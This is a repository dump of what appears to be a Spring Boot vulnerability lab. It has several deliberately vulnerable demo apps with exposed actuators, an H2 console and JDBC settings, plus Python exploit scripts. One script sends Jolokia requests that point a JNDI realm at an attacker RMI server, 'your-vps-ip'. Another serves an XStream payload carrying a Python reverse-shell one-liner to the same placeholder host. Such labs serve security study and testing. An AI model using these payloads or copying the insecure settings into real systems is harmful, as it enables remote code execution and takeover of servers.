├── .gitignore ├── repository ├── springboot-spel-rce │ ├── src │ │ └── main │ │ │ ├── resources │ │ │ └── application.properties │ │ │ └── java │ │ │ └── code │ │ │ └── landgrey │ │ │ ├── Application.java │ │ │ └── controller │ │ │ └── Article.java │ ├── springboot-spel-rce.iml │ └── pom.xml ├── springboot-h2-database-rce │ ├── springboot-h2-database-rce.iml │ ├── src │ │ └── main │ │ │ ├── java │ │ │ └── code │ │ │ │ └── landgrey │ │ │ │ ├── Application.java │ │ │ │ └── controller │ │ │ │ └── Article.java │ │ │ └── resources │ │ │ └── application.properties │ └── pom.xml ├── springboot-mysql-jdbc-rce │ ├── springboot-mysql-jdbc-rce.iml │ ├── src │ │ └── main │ │ │ ├── java │ │ │ └── code │ │ │ │ └── landgrey │ │ │ │ ├── repositories │ │ │ │ └── ProductRepository.java │ │ │ │ ├── Application.java │ │ │ │ ├── services │ │ │ │ ├── ProductService.java │ │ │ │ └── ProductServiceImpl.java │ │ │ │ ├── controllers │ │ │ │ ├── HelloController.java │ │ │ │ └── ProductController.java │ │ │ │ ├── converters │ │ │ │ ├── ProductToProductForm.java │ │ │ │ └── ProductFormToProduct.java │ │ │ │ ├── commands │ │ │ │ └── ProductForm.java │ │ │ │ └── domain │ │ │ │ └── Product.java │ │ │ └── resources │ │ │ ├── application.properties │ │ │ └── templates │ │ │ └── product │ │ │ ├── list.html │ │ │ ├── show.html │ │ │ └── productform.html │ └── pom.xml ├── springcloud-snakeyaml-rce │ ├── springcloud-snakeyaml-rce.iml │ ├── src │ │ └── main │ │ │ ├── java │ │ │ └── code │ │ │ │ └── landgrey │ │ │ │ ├── Application.java │ │ │ │ └── controller │ │ │ │ └── Article.java │ │ │ └── resources │ │ │ └── application.properties │ └── pom.xml ├── springboot-eureka-xstream-rce │ ├── springboot-eureka-xstream-rce.iml │ ├── src │ │ └── main │ │ │ ├── java │ │ │ └── code │ │ │ │ └── landgrey │ │ │ │ ├── Application.java │ │ │ │ └── controller │ │ │ │ └── Article.java │ │ │ └── resources │ │ │ └── application.properties │ └── pom.xml └── springboot-jolokia-logback-rce │ ├── springboot-jolokia-logback-rce.iml │ ├── src │ └── main │ │ ├── java │ │ └── code │ │ │ └── landgrey │ │ │ ├── Application.java │ │ │ └── controller │ │ │ └── Article.java │ │ └── resources │ │ ├── logback.xml │ │ └── application.properties │ └── pom.xml ├── codebase ├── springboot-realm-jndi-rce.py ├── springboot-xstream-rce.py ├── JNDIObject.java └── springboot-jdbc-deserialization-rce.py └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | 3 | 4 | **/target/** 5 | **/.idea/** 6 | -------------------------------------------------------------------------------- /repository/springboot-spel-rce/src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | server.port=9091 2 | server.address=127.0.0.1 3 | -------------------------------------------------------------------------------- /repository/springboot-spel-rce/springboot-spel-rce.iml: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /repository/springboot-h2-database-rce/springboot-h2-database-rce.iml: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /repository/springboot-mysql-jdbc-rce/springboot-mysql-jdbc-rce.iml: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /repository/springcloud-snakeyaml-rce/springcloud-snakeyaml-rce.iml: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /repository/springboot-eureka-xstream-rce/springboot-eureka-xstream-rce.iml: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /repository/springboot-jolokia-logback-rce/springboot-jolokia-logback-rce.iml: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/repositories/ProductRepository.java: -------------------------------------------------------------------------------- 1 | package code.landgrey.repositories; 2 | 3 | import code.landgrey.domain.Product; 4 | import org.springframework.data.repository.CrudRepository; 5 | 6 | 7 | public interface ProductRepository extends CrudRepository { 8 | } 9 | -------------------------------------------------------------------------------- /repository/springboot-spel-rce/src/main/java/code/landgrey/Application.java: -------------------------------------------------------------------------------- 1 | package code.landgrey; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | @SpringBootApplication 7 | public class Application { 8 | public static void main(String[] args){ 9 | SpringApplication.run(Application.class,args); 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /repository/springcloud-snakeyaml-rce/src/main/java/code/landgrey/Application.java: -------------------------------------------------------------------------------- 1 | package code.landgrey; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | @SpringBootApplication 7 | public class Application { 8 | public static void main(String[] args){ 9 | SpringApplication.run(Application.class,args); 10 | } 11 | } -------------------------------------------------------------------------------- /repository/springboot-h2-database-rce/src/main/java/code/landgrey/Application.java: -------------------------------------------------------------------------------- 1 | package code.landgrey; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | @SpringBootApplication 7 | public class Application { 8 | public static void main(String[] args){ 9 | SpringApplication.run(Application.class,args); 10 | } 11 | } -------------------------------------------------------------------------------- /repository/springboot-jolokia-logback-rce/src/main/java/code/landgrey/Application.java: -------------------------------------------------------------------------------- 1 | package code.landgrey; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | @SpringBootApplication 7 | public class Application { 8 | public static void main(String[] args){ 9 | SpringApplication.run(Application.class,args); 10 | } 11 | } -------------------------------------------------------------------------------- /repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/Application.java: -------------------------------------------------------------------------------- 1 | package code.landgrey; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | 7 | @SpringBootApplication 8 | public class Application { 9 | 10 | 11 | public static void main(String[] args) { 12 | SpringApplication.run(Application.class, args); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /repository/springboot-jolokia-logback-rce/src/main/resources/logback.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | true 4 | 5 | [%thread] %highlight(%-5level) %cyan(%logger{15}) - %msg %n 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /repository/springboot-eureka-xstream-rce/src/main/java/code/landgrey/Application.java: -------------------------------------------------------------------------------- 1 | package code.landgrey; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | import org.springframework.cloud.netflix.eureka.EnableEurekaClient; 6 | 7 | @SpringBootApplication 8 | @EnableEurekaClient 9 | public class Application { 10 | public static void main(String[] args){ 11 | SpringApplication.run(Application.class,args); 12 | } 13 | } -------------------------------------------------------------------------------- /repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/services/ProductService.java: -------------------------------------------------------------------------------- 1 | package code.landgrey.services; 2 | 3 | import code.landgrey.commands.ProductForm; 4 | import code.landgrey.domain.Product; 5 | 6 | import java.util.List; 7 | 8 | 9 | public interface ProductService { 10 | 11 | List listAll(); 12 | 13 | Product getById(Long id); 14 | 15 | Product saveOrUpdate(Product product); 16 | 17 | void delete(Long id); 18 | 19 | Product saveOrUpdateProductForm(ProductForm productForm); 20 | } 21 | -------------------------------------------------------------------------------- /repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/controllers/HelloController.java: -------------------------------------------------------------------------------- 1 | package code.landgrey.controllers; 2 | 3 | import org.springframework.stereotype.Controller; 4 | import org.springframework.web.bind.annotation.RequestMapping; 5 | import org.springframework.web.bind.annotation.RequestMethod; 6 | import org.springframework.web.bind.annotation.ResponseBody; 7 | 8 | @Controller 9 | public class HelloController { 10 | @ResponseBody 11 | @RequestMapping(value = {"/"}, method = RequestMethod.GET) 12 | public String hello(){ 13 | return "Hello"; 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /repository/springboot-h2-database-rce/src/main/java/code/landgrey/controller/Article.java: -------------------------------------------------------------------------------- 1 | package code.landgrey.controller; 2 | 3 | import org.springframework.boot.autoconfigure.EnableAutoConfiguration; 4 | import org.springframework.web.bind.annotation.RequestMapping; 5 | import org.springframework.web.bind.annotation.RestController; 6 | 7 | @RestController 8 | @EnableAutoConfiguration 9 | public class Article { 10 | @RequestMapping("/article") 11 | public String hello(String id){ 12 | int total = 100; 13 | String message = String.format("You've read %s books, and there are %d left", id, total - Integer.valueOf(id)); 14 | return message; 15 | } 16 | } -------------------------------------------------------------------------------- /repository/springboot-spel-rce/src/main/java/code/landgrey/controller/Article.java: -------------------------------------------------------------------------------- 1 | package code.landgrey.controller; 2 | 3 | import org.springframework.boot.autoconfigure.EnableAutoConfiguration; 4 | import org.springframework.web.bind.annotation.RequestMapping; 5 | import org.springframework.web.bind.annotation.RestController; 6 | 7 | @RestController 8 | @EnableAutoConfiguration 9 | public class Article { 10 | @RequestMapping("/article") 11 | public String hello(String id){ 12 | int total = 100; 13 | String message = String.format("You've read %s books, and there are %d left", id, total - Integer.valueOf(id)); 14 | return message; 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /repository/springcloud-snakeyaml-rce/src/main/java/code/landgrey/controller/Article.java: -------------------------------------------------------------------------------- 1 | package code.landgrey.controller; 2 | 3 | import org.springframework.boot.autoconfigure.EnableAutoConfiguration; 4 | import org.springframework.web.bind.annotation.RequestMapping; 5 | import org.springframework.web.bind.annotation.RestController; 6 | 7 | @RestController 8 | @EnableAutoConfiguration 9 | public class Article { 10 | @RequestMapping("/article") 11 | public String hello(String id){ 12 | int total = 100; 13 | String message = String.format("You've read %s books, and there are %d left", id, total - Integer.valueOf(id)); 14 | return message; 15 | } 16 | } -------------------------------------------------------------------------------- /repository/springboot-eureka-xstream-rce/src/main/java/code/landgrey/controller/Article.java: -------------------------------------------------------------------------------- 1 | package code.landgrey.controller; 2 | 3 | import org.springframework.boot.autoconfigure.EnableAutoConfiguration; 4 | import org.springframework.web.bind.annotation.RequestMapping; 5 | import org.springframework.web.bind.annotation.RestController; 6 | 7 | @RestController 8 | @EnableAutoConfiguration 9 | public class Article { 10 | @RequestMapping("/article") 11 | public String hello(String id){ 12 | int total = 100; 13 | String message = String.format("You've read %s books, and there are %d left", id, total - Integer.valueOf(id)); 14 | return message; 15 | } 16 | } -------------------------------------------------------------------------------- /repository/springboot-jolokia-logback-rce/src/main/java/code/landgrey/controller/Article.java: -------------------------------------------------------------------------------- 1 | package code.landgrey.controller; 2 | 3 | import org.springframework.boot.autoconfigure.EnableAutoConfiguration; 4 | import org.springframework.web.bind.annotation.RequestMapping; 5 | import org.springframework.web.bind.annotation.RestController; 6 | 7 | @RestController 8 | @EnableAutoConfiguration 9 | public class Article { 10 | @RequestMapping("/article") 11 | public String hello(String id){ 12 | int total = 100; 13 | String message = String.format("You've read %s books, and there are %d left", id, total - Integer.valueOf(id)); 14 | return message; 15 | } 16 | } -------------------------------------------------------------------------------- /repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/converters/ProductToProductForm.java: -------------------------------------------------------------------------------- 1 | package code.landgrey.converters; 2 | 3 | import code.landgrey.commands.ProductForm; 4 | import code.landgrey.domain.Product; 5 | import org.springframework.core.convert.converter.Converter; 6 | import org.springframework.stereotype.Component; 7 | 8 | 9 | @Component 10 | public class ProductToProductForm implements Converter { 11 | @Override 12 | public ProductForm convert(Product product) { 13 | ProductForm productForm = new ProductForm(); 14 | productForm.setId(product.getId()); 15 | productForm.setDescription(product.getDescription()); 16 | productForm.setPrice(product.getPrice()); 17 | productForm.setImageUrl(product.getImageUrl()); 18 | return productForm; 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /repository/springboot-eureka-xstream-rce/src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | server.port=9093 2 | server.address=127.0.0.1 3 | 4 | # vulnerable configuration set 0: spring boot 1.0 - 1.4 5 | # all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters 6 | # no configuration required to expose them 7 | 8 | # safe configuration set 0: spring boot 1.0 - 1.4 9 | #management.security.enabled=true 10 | 11 | # vulnerable configuration set 1: spring boot 1.5+ 12 | # spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators 13 | #management.security.enabled=false 14 | 15 | # safe configuration set 1: spring boot 1.5+ 16 | # when 'management.security.enabled=false' but all sensitive actuators explicitly disabled 17 | #management.security.enabled=false 18 | 19 | # vulnerable configuration set 2: spring boot 2+ 20 | #management.endpoints.web.exposure.include=* 21 | #management.endpoint.env.post.enabled=true 22 | -------------------------------------------------------------------------------- /repository/springboot-jolokia-logback-rce/src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | server.port=9094 2 | server.address=127.0.0.1 3 | 4 | # vulnerable configuration set 0: spring boot 1.0 - 1.4 5 | # all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters 6 | # no configuration required to expose them 7 | 8 | # safe configuration set 0: spring boot 1.0 - 1.4 9 | #management.security.enabled=true 10 | 11 | # vulnerable configuration set 1: spring boot 1.5+ 12 | # spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators 13 | #management.security.enabled=false 14 | 15 | # safe configuration set 1: spring boot 1.5+ 16 | # when 'management.security.enabled=false' but all sensitive actuators explicitly disabled 17 | #management.security.enabled=false 18 | 19 | # vulnerable configuration set 2: spring boot 2+ 20 | #management.endpoints.web.exposure.include=* 21 | #management.endpoint.env.post.enabled=true 22 | -------------------------------------------------------------------------------- /repository/springcloud-snakeyaml-rce/src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | server.port=9092 2 | server.address=127.0.0.1 3 | 4 | 5 | # vulnerable configuration set 0: spring boot 1.0 - 1.4 6 | # all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters 7 | # no configuration required to expose them 8 | 9 | # safe configuration set 0: spring boot 1.0 - 1.4 10 | #management.security.enabled=true 11 | 12 | # vulnerable configuration set 1: spring boot 1.5+ 13 | # spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators 14 | #management.security.enabled=false 15 | 16 | # safe configuration set 1: spring boot 1.5+ 17 | # when 'management.security.enabled=false' but all sensitive actuators explicitly disabled 18 | #management.security.enabled=false 19 | 20 | # vulnerable configuration set 2: spring boot 2+ 21 | #management.endpoints.web.exposure.include=* 22 | #management.endpoint.env.post.enabled=true 23 | -------------------------------------------------------------------------------- /repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/converters/ProductFormToProduct.java: -------------------------------------------------------------------------------- 1 | package code.landgrey.converters; 2 | 3 | import code.landgrey.commands.ProductForm; 4 | import code.landgrey.domain.Product; 5 | import org.springframework.core.convert.converter.Converter; 6 | import org.springframework.stereotype.Component; 7 | import org.springframework.util.StringUtils; 8 | 9 | 10 | @Component 11 | public class ProductFormToProduct implements Converter { 12 | 13 | @Override 14 | public Product convert(ProductForm productForm) { 15 | Product product = new Product(); 16 | if (productForm.getId() != null && !StringUtils.isEmpty(productForm.getId())) { 17 | product.setId(new Long(productForm.getId())); 18 | } 19 | product.setDescription(productForm.getDescription()); 20 | product.setPrice(productForm.getPrice()); 21 | product.setImageUrl(productForm.getImageUrl()); 22 | return product; 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/commands/ProductForm.java: -------------------------------------------------------------------------------- 1 | package code.landgrey.commands; 2 | 3 | 4 | import java.math.BigDecimal; 5 | 6 | 7 | public class ProductForm { 8 | private Long id; 9 | private String description; 10 | private BigDecimal price; 11 | private String imageUrl; 12 | 13 | public Long getId() { 14 | return id; 15 | } 16 | 17 | public void setId(Long id) { 18 | this.id = id; 19 | } 20 | 21 | public String getDescription() { 22 | return description; 23 | } 24 | 25 | public void setDescription(String description) { 26 | this.description = description; 27 | } 28 | 29 | public BigDecimal getPrice() { 30 | return price; 31 | } 32 | 33 | public void setPrice(BigDecimal price) { 34 | this.price = price; 35 | } 36 | 37 | public String getImageUrl() { 38 | return imageUrl; 39 | } 40 | 41 | public void setImageUrl(String imageUrl) { 42 | this.imageUrl = imageUrl; 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/domain/Product.java: -------------------------------------------------------------------------------- 1 | package code.landgrey.domain; 2 | 3 | 4 | import javax.persistence.Entity; 5 | import javax.persistence.GeneratedValue; 6 | import javax.persistence.Id; 7 | import java.math.BigDecimal; 8 | 9 | 10 | @Entity 11 | public class Product { 12 | 13 | @Id 14 | @GeneratedValue 15 | private Long _id; 16 | private String description; 17 | private BigDecimal price; 18 | private String imageUrl; 19 | 20 | public Long getId() { 21 | return _id; 22 | } 23 | 24 | public void setId(Long id) { 25 | this._id = id; 26 | } 27 | 28 | public String getDescription() { 29 | return description; 30 | } 31 | 32 | public void setDescription(String description) { 33 | this.description = description; 34 | } 35 | 36 | public BigDecimal getPrice() { 37 | return price; 38 | } 39 | 40 | public void setPrice(BigDecimal price) { 41 | this.price = price; 42 | } 43 | 44 | public String getImageUrl() { 45 | return imageUrl; 46 | } 47 | 48 | public void setImageUrl(String imageUrl) { 49 | this.imageUrl = imageUrl; 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /repository/springboot-h2-database-rce/src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | server.port=9096 2 | server.address=127.0.0.1 3 | 4 | # ensure h2 database rce 5 | spring.jpa.database = MYSQL 6 | spring.jpa.database-platform=org.hibernate.dialect.MySQL5Dialect 7 | 8 | # enable h2 console jndi rce 9 | #spring.h2.console.path=/h2-console 10 | spring.h2.console.enabled=true 11 | 12 | # vulnerable configuration set 0: spring boot 1.0 - 1.4 13 | # all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters 14 | # no configuration required to expose them 15 | 16 | # safe configuration set 0: spring boot 1.0 - 1.4 17 | #management.security.enabled=true 18 | 19 | # vulnerable configuration set 1: spring boot 1.5+ 20 | # spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators 21 | #management.security.enabled=false 22 | 23 | # safe configuration set 1: spring boot 1.5+ 24 | # when 'management.security.enabled=false' but all sensitive actuators explicitly disabled 25 | #management.security.enabled=false 26 | 27 | ## vulnerable configuration set 2: spring boot 2+ 28 | #management.security.enabled=false 29 | #management.endpoint.refresh.enabled=true 30 | #management.endpoints.web.exposure.include=env,restart,refresh 31 | management.endpoints.web.exposure.include=* 32 | management.endpoint.restart.enabled=true 33 | -------------------------------------------------------------------------------- /codebase/springboot-realm-jndi-rce.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # coding: utf-8 3 | # Referer: https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txt 4 | 5 | 6 | import requests 7 | 8 | 9 | url = 'http://127.0.0.1:8080/jolokia' 10 | 11 | 12 | create_realm = { 13 | "mbean": "Tomcat:type=MBeanFactory", 14 | "type": "EXEC", 15 | "operation": "createJNDIRealm", 16 | "arguments": ["Tomcat:type=Engine"] 17 | } 18 | 19 | wirte_factory = { 20 | "mbean": "Tomcat:realmPath=/realm0,type=Realm", 21 | "type": "WRITE", 22 | "attribute": "contextFactory", 23 | "value": "com.sun.jndi.rmi.registry.RegistryContextFactory" 24 | } 25 | 26 | write_url = { 27 | "mbean": "Tomcat:realmPath=/realm0,type=Realm", 28 | "type": "WRITE", 29 | "attribute": "connectionURL", 30 | "value": "rmi://your-vps-ip:1389/JNDIObject" 31 | } 32 | 33 | stop = { 34 | "mbean": "Tomcat:realmPath=/realm0,type=Realm", 35 | "type": "EXEC", 36 | "operation": "stop", 37 | "arguments": [] 38 | } 39 | 40 | start = { 41 | "mbean": "Tomcat:realmPath=/realm0,type=Realm", 42 | "type": "EXEC", 43 | "operation": "start", 44 | "arguments": [] 45 | } 46 | 47 | flow = [create_realm, wirte_factory, write_url, stop, start] 48 | 49 | for i in flow: 50 | print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute')))) 51 | r = requests.post(url, json=i) 52 | r.json() 53 | print(r.status_code) 54 | -------------------------------------------------------------------------------- /repository/springboot-spel-rce/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | org.example 8 | springboot-spel-rce 9 | 1.0-SNAPSHOT 10 | 11 | 12 | UTF-8 13 | UTF-8 14 | 1.7 15 | 16 | 1.3.0.RELEASE 17 | 18 | 19 | 20 | 21 | org.springframework.boot 22 | spring-boot-starter-web 23 | ${springboot.version} 24 | 25 | 26 | 27 | 28 | 29 | 30 | org.springframework.boot 31 | spring-boot-maven-plugin 32 | ${springboot.version} 33 | 34 | 35 | 36 | 37 | -------------------------------------------------------------------------------- /repository/springboot-mysql-jdbc-rce/src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | server.port=9097 2 | 3 | #management.security.enabled=false 4 | management.endpoint.restart.enabled=true 5 | management.endpoint.refresh.enabled=true 6 | management.endpoints.web.exposure.include=env,restart,refresh 7 | 8 | # =============================== 9 | # = DATA SOURCE 10 | # =============================== 11 | # Set here configurations for the database connection 12 | spring.datasource.url=jdbc:mysql://127.0.0.1:3306/test 13 | spring.datasource.username=root 14 | spring.datasource.password=root 15 | spring.datasource.driver-class-name=com.mysql.jdbc.Driver 16 | 17 | # Keep the connection alive if idle for a long time (needed in production) 18 | spring.datasource.testWhileIdle=true 19 | spring.datasource.validationQuery=SELECT 1 20 | # =============================== 21 | # = JPA / HIBERNATE 22 | # =============================== 23 | # Show or not log for each sql query 24 | spring.jpa.show-sql=true 25 | # Hibernate ddl auto (create, create-drop, update): with "create-drop" the database 26 | # schema will be automatically created afresh for every start of application 27 | spring.jpa.hibernate.ddl-auto=create-drop 28 | # Naming strategy 29 | spring.jpa.hibernate.naming.implicit-strategy=org.hibernate.boot.model.naming.ImplicitNamingStrategyLegacyHbmImpl 30 | spring.jpa.hibernate.naming.physical-strategy=org.springframework.boot.orm.jpa.hibernate.SpringPhysicalNamingStrategy 31 | # Allows Hibernate to generate SQL optimized for a particular DBMS 32 | spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.MySQL5Dialect 33 | -------------------------------------------------------------------------------- /repository/springboot-jolokia-logback-rce/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | org.example 8 | springboot-jolokia-logback-rce 9 | 1.0-SNAPSHOT 10 | 11 | 12 | 1.8 13 | 1.4.7.RELEASE 14 | 15 | 16 | 17 | 18 | org.springframework.boot 19 | spring-boot-starter-web 20 | ${springboot.version} 21 | 22 | 23 | 24 | org.springframework.boot 25 | spring-boot-starter-actuator 26 | ${springboot.version} 27 | 28 | 29 | 30 | org.jolokia 31 | jolokia-core 32 | 1.6.0 33 | 34 | 35 | 36 | 37 | 38 | 39 | org.springframework.boot 40 | spring-boot-maven-plugin 41 | ${springboot.version} 42 | 43 | 44 | 45 | 46 | -------------------------------------------------------------------------------- /repository/springboot-mysql-jdbc-rce/src/main/java/code/landgrey/services/ProductServiceImpl.java: -------------------------------------------------------------------------------- 1 | package code.landgrey.services; 2 | 3 | import code.landgrey.commands.ProductForm; 4 | import code.landgrey.converters.ProductFormToProduct; 5 | import code.landgrey.domain.Product; 6 | import code.landgrey.repositories.ProductRepository; 7 | import org.springframework.beans.factory.annotation.Autowired; 8 | import org.springframework.stereotype.Service; 9 | 10 | import java.util.ArrayList; 11 | import java.util.List; 12 | 13 | 14 | @Service 15 | public class ProductServiceImpl implements ProductService { 16 | 17 | private ProductRepository productRepository; 18 | private ProductFormToProduct productFormToProduct; 19 | 20 | @Autowired 21 | public ProductServiceImpl(ProductRepository productRepository, ProductFormToProduct productFormToProduct) { 22 | this.productRepository = productRepository; 23 | this.productFormToProduct = productFormToProduct; 24 | } 25 | 26 | 27 | @Override 28 | public List listAll() { 29 | List products = new ArrayList<>(); 30 | productRepository.findAll().forEach(products::add); //fun with Java 8 31 | return products; 32 | } 33 | 34 | @Override 35 | public Product getById(Long id) { 36 | return productRepository.findById(id).orElse(null); 37 | } 38 | 39 | @Override 40 | public Product saveOrUpdate(Product product) { 41 | productRepository.save(product); 42 | return product; 43 | } 44 | 45 | @Override 46 | public void delete(Long id) { 47 | productRepository.deleteById(id); 48 | 49 | } 50 | 51 | @Override 52 | public Product saveOrUpdateProductForm(ProductForm productForm) { 53 | Product savedProduct = saveOrUpdate(productFormToProduct.convert(productForm)); 54 | 55 | System.out.println("Saved Product Id: " + savedProduct.getId()); 56 | return savedProduct; 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /repository/springboot-mysql-jdbc-rce/src/main/resources/templates/product/list.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Spring Core Online Tutorial - List Products 5 | 6 | 7 | 10 | 11 | 13 | 14 | 16 | 17 | 18 |
19 |
20 |

Product List

21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 |
IdDescriptionPriceImage URLListEditDelete
View Edit Delete
41 |
42 |
43 |
44 | New Product 45 |
46 |
47 |
48 | 49 | 50 | -------------------------------------------------------------------------------- /repository/springboot-h2-database-rce/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | org.example 8 | springboot-h2-database-rce 9 | 1.0-SNAPSHOT 10 | 11 | org.springframework.boot 12 | spring-boot-starter-parent 13 | 2.2.1.RELEASE 14 | 15 | 16 | 17 | 1.8 18 | 19 | 20 | 21 | 22 | org.springframework.boot 23 | spring-boot-starter-web 24 | 25 | 26 | 27 | org.springframework.boot 28 | spring-boot-starter-actuator 29 | 30 | 31 | 32 | org.springframework.cloud 33 | spring-cloud-starter-config 34 | 35 | 36 | 37 | org.springframework.boot 38 | spring-boot-starter-data-jpa 39 | 40 | 41 | 42 | com.h2database 43 | h2 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | org.springframework.cloud 52 | spring-cloud-dependencies 53 | Hoxton.SR1 54 | pom 55 | import 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | org.springframework.boot 64 | spring-boot-maven-plugin 65 | 66 | 67 | 68 | 69 | -------------------------------------------------------------------------------- /repository/springcloud-snakeyaml-rce/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | org.example 8 | springcloud-snakeyaml-rce 9 | 1.0-SNAPSHOT 10 | 11 | 12 | UTF-8 13 | UTF-8 14 | 1.8 15 | 16 | 1.4.7.RELEASE 17 | 1.2.5.RELEASE 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | org.springframework.boot 28 | spring-boot-starter-actuator 29 | ${springboot.version} 30 | 31 | 32 | 33 | org.springframework.boot 34 | spring-boot-starter-web 35 | ${springboot.version} 36 | 37 | 38 | 39 | org.springframework.cloud 40 | spring-cloud-starter 41 | ${springcloud.version} 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | org.springframework.boot 58 | spring-boot-maven-plugin 59 | ${springboot.version} 60 | 61 | 62 | 63 | 64 | -------------------------------------------------------------------------------- /codebase/springboot-xstream-rce.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding: utf-8 3 | # -**- Author: LandGrey -**- 4 | 5 | from flask import Flask, Response 6 | 7 | app = Flask(__name__) 8 | 9 | 10 | @app.route('/', defaults={'path': ''}) 11 | @app.route('/', methods=['GET', 'POST']) 12 | def catch_all(path): 13 | xml = """ 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | /bin/bash 26 | -c 27 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-vps-ip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' 28 | 29 | false 30 | 31 | 32 | 33 | 34 | java.lang.ProcessBuilder 35 | start 36 | 37 | 38 | foo 39 | 40 | foo 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | """ 52 | return Response(xml, mimetype='application/xml') 53 | 54 | 55 | if __name__ == "__main__": 56 | app.run(host='0.0.0.0', port=80) 57 | -------------------------------------------------------------------------------- /repository/springboot-mysql-jdbc-rce/src/main/resources/templates/product/show.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Spring Core Online Tutorial - Show Product 5 | 6 | 7 | 10 | 11 | 13 | 14 | 16 | 17 | 18 |
19 | 20 |
21 |
22 |

Show Product

23 |
24 |
25 |
26 |
27 |
28 |
29 | 30 |
31 |

Product Id

32 |
33 |
34 |
35 | 36 |
37 |

Description

38 |
39 |
40 |
41 | 42 |
43 |

Price

44 |
45 |
46 |
47 | 48 |
49 |

Image

50 |
51 |
52 |
53 |
54 |
55 |
